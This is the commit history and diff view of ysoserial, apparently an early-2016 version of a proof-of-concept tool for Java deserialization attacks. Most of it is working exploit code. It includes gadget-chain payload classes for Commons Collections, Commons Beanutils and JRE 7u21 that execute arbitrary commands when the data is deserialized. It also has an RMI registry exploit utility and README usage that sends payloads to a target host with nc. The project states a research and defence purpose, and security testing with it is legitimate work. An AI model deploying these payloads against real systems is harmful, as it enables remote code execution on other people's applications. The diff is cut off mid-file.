5 Commits
Author SHA1 Message Date
Chris Frohoff 87c91b27a0 added beanutils gadget chain, release 0.0.4 2016-02-24 14:26:00 -08:00
Chris Frohoff 2c79998485 remove cruft 2016-02-24 13:57:41 -08:00
Chris Frohoff ed18a40523 updated README 2016-01-26 17:27:19 -08:00
Chris Frohoff 0e99a197c6 jre7u21 gadget chain, refactors 2016-01-26 17:18:32 -08:00
Chris Frohoff 4f00182efc Update README.md 2015-11-04 13:16:02 -08:00
27 changed files with 1023 additions and 410 deletions
+78 -73
View File
@@ -1,73 +1,78 @@
# ysoserial # ysoserial
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) ![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png)
## Description ## Description
Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles) Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects. __ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
this data, the chain will automatically be invoked and cause the command to be executed on the application host. serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
gadgets on the classpath. It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
gadgets on the classpath.
## Disclaimer
## Disclaimer
This software has been created purely for the purposes of academic research and
for the development of effective defensive techniques, and is not intended to be This software has been created purely for the purposes of academic research and
used to attack systems except where explicitly authorized. Project maintainers for the development of effective defensive techniques, and is not intended to be
are not responsible or liable for misuse of the software. Use responsibly. used to attack systems except where explicitly authorized. Project maintainers
are not responsible or liable for misuse of the software. Use responsibly.
## Usage
## Usage
```shell
$ java -jar ysoserial-0.0.1-all.jar ```shell
Y SO SERIAL? $ java -jar target/ysoserial-0.0.4-all.jar
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' Y SO SERIAL?
Available payload types: Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
CommonsCollections1 Available payload types:
CommonsCollections2 CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
Groovy1 CommonsCollections1 [commons-collections:commons-collections:3.1]
Spring1 CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
``` CommonsCollections3 [commons-collections:commons-collections:3.1]
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
## Examples Groovy1 [org.codehaus.groovy:groovy:2.3.9]
Jdk7u21 []
```shell Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd ```
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A ## Examples
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
... ```shell
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000570: 0078 7071 007e 003a .xpq.~.: 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin ...
$ nc 10.10.10.10 < groovypayload.bin 0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe 0000570: 0078 7071 007e 003a .xpq.~.:
```
$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
## Installation $ nc 10.10.10.10 < groovypayload.bin
1. Download the latest jar from the "releases" section. $ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
```
## Code Status
## Installation
[![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
1. Download the latest jar from the "releases" section.
## Contributing
## Code Status
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`) [![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`) ## Contributing
5. Create new Pull Request
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request
Executable
+3
View File
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
+11 -11
View File
@@ -4,7 +4,7 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.2-SNAPSHOT</version> <version>0.0.4</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
@@ -22,15 +22,15 @@
<version>3.2</version> <version>3.2</version>
<configuration> <configuration>
<source>1.5</source> <source>1.5</source>
<target>1.5</target><!-- maximize compatibility --> <target>1.5</target><!-- maximize compatibility -->
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>
<artifactId>maven-assembly-plugin</artifactId> <artifactId>maven-assembly-plugin</artifactId>
<configuration> <configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName> <finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId> <appendAssemblyId>false</appendAssemblyId>
<archive> <archive>
<manifest> <manifest>
<mainClass>ysoserial.GeneratePayload</mainClass> <mainClass>ysoserial.GeneratePayload</mainClass>
</manifest> </manifest>
@@ -53,7 +53,7 @@
</build> </build>
<dependencies> <dependencies>
<!-- testing depedencies --> <!-- testing depedencies -->
<dependency> <dependency>
@@ -93,7 +93,7 @@
<artifactId>javassist</artifactId> <artifactId>javassist</artifactId>
<version>3.19.0-GA</version> <version>3.19.0-GA</version>
</dependency> </dependency>
<!-- gadget dependecies --> <!-- gadget dependecies -->
<dependency> <dependency>
@@ -101,15 +101,15 @@
<artifactId>commons-collections</artifactId> <artifactId>commons-collections</artifactId>
<version>3.1</version> <version>3.1</version>
</dependency> </dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId> <artifactId>commons-collections4</artifactId>
<version>4.0</version> <version>4.0</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>3.1</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.codehaus.groovy</groupId> <groupId>org.codehaus.groovy</groupId>
-18
View File
@@ -1,18 +0,0 @@
package ysoserial;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import ysoserial.payloads.util.Serializables;
/*
* for testing payloads across process boundaries
*/
public class Deserialize {
public static void main(final String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Serializables.deserialize(in);
}
}
+34
View File
@@ -0,0 +1,34 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
public class Deserializer implements Callable<Object> {
private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
return deserialize(bytes);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}
@@ -1,44 +0,0 @@
package ysoserial;
import java.security.Permission;
import java.util.concurrent.Callable;
public class ExecBlockingSecurityManager extends SecurityManager {
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
public void checkExec(final String cmd) {
super.checkExec(cmd);
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
}
public static void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public static <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager();
System.setSecurityManager(new ExecBlockingSecurityManager());
try {
return callable.call();
} finally {
System.setSecurityManager(sm);
}
}
}
+17 -39
View File
@@ -1,16 +1,15 @@
package ysoserial; package ysoserial;
import java.io.ObjectOutputStream; import java.io.PrintStream;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Collection; import java.util.Arrays;
import java.util.Collections; import java.util.Collections;
import java.util.Comparator; import java.util.Comparator;
import java.util.List; import java.util.List;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes") @SuppressWarnings("rawtypes")
public class GeneratePayload { public class GeneratePayload {
@@ -25,62 +24,41 @@ public class GeneratePayload {
} }
final String payloadType = args[0]; final String payloadType = args[0];
final String command = args[1]; final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'"); System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(); printUsage();
System.exit(USAGE_CODE); System.exit(USAGE_CODE);
} }
try { try {
final ObjectPayload payload = payloadClass.newInstance(); final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out); PrintStream out = System.out;
objOut.writeObject(object); Serializer.serialize(object, out);
} catch (Throwable e) { } catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE); System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
@SuppressWarnings("unchecked")
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
try {
return (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
} }
try { System.exit(0);
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
return null;
} }
private static void printUsage() { private static void printUsage() {
System.err.println("Y SO SERIAL?"); System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:"); System.err.println("\tAvailable payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses()); new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName()); System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
} }
} }
// get payload classes by classpath scanning
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
public static class ToStringComparator implements Comparator<Object> { public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
} }
} }
+30
View File
@@ -0,0 +1,30 @@
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}
public byte[] call() throws Exception {
return serialize(object);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
@@ -1,4 +1,4 @@
package ysoserial; package ysoserial.exploit;
import java.rmi.Remote; import java.rmi.Remote;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@@ -9,44 +9,41 @@ import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/* /*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
* *
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/ */
public class RMIRegistryExploit { public class RMIRegistryExploit {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
// ensure payload doesn't detonate during construction or deserialization final String host = args[0];
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call() throws Exception { final int port = Integer.parseInt(args[1]);
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); final String command = args[3];
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Registry registry = LocateRegistry.getRegistry(host, port);
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Object payload = payloadClass.newInstance().getObject(args[3]); final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
Object payload = payloadClass.newInstance().getObject(command);
String name = "pwned" + System.nanoTime();
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try { try {
registry.bind("pwned", remote); registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
try {
String[] names = registry.list();
for (String name : names) {
System.out.println("looking up '" + name + "'");
try {
Remote rem = registry.lookup(name);
System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
} catch (Throwable e) {
e.printStackTrace();
}
}
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
return null; return null;
}}); }});
} }
@@ -0,0 +1,44 @@
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
}
}
+12 -12
View File
@@ -14,7 +14,7 @@ import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/* /*
Gadget chain: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
PriorityQueue.readObject() PriorityQueue.readObject()
... ...
@@ -26,30 +26,30 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception { public Queue<Object> getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed // mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator // create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later // stub data for replacement later
queue.add(1); queue.add(1);
queue.add(1); queue.add(1);
// switch method called by comparator // switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue // switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates; queueArray[0] = templates;
queueArray[1] = 1; queueArray[1] = 1;
return queue; return queue;
} }
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args); PayloadRunner.run(CommonsCollections2.class, args);
} }
+60
View File
@@ -0,0 +1,60 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
}
@@ -0,0 +1,63 @@
package ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}
+86
View File
@@ -0,0 +1,86 @@
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies()
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
}
@@ -1,9 +1,45 @@
package ysoserial.payloads; package ysoserial.payloads;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
public interface ObjectPayload<T> { public interface ObjectPayload<T> {
/* /*
* return armed payload object to be serialized that will execute specified * return armed payload object to be serialized that will execute specified
* command on deserialization * command on deserialization
*/ */
public T getObject(String command) throws Exception; public T getObject(String command) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
@SuppressWarnings("unchecked")
public
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
if (clazz == null) {
try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
}
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null;
}
return clazz;
}
}
} }
@@ -4,9 +4,21 @@ import java.lang.annotation.ElementType;
import java.lang.annotation.Retention; import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy; import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target; import java.lang.annotation.Target;
import java.lang.reflect.AnnotatedElement;
@Target(ElementType.TYPE) @Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME) @Retention(RetentionPolicy.RUNTIME)
public @interface Dependencies { public @interface Dependencies {
String[] value() default {}; String[] value() default {};
public static class Utils {
public static String[] getDependencies(AnnotatedElement annotated) {
Dependencies deps = annotated.getAnnotation(Dependencies.class);
if (deps != null && deps.value() != null) {
return deps.value();
} else {
return new String[0];
}
}
}
} }
@@ -1,5 +1,7 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.Array; import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
@@ -24,37 +26,43 @@ import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
*/ */
@SuppressWarnings("restriction") @SuppressWarnings("restriction")
public class Gadgets { public class Gadgets {
private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
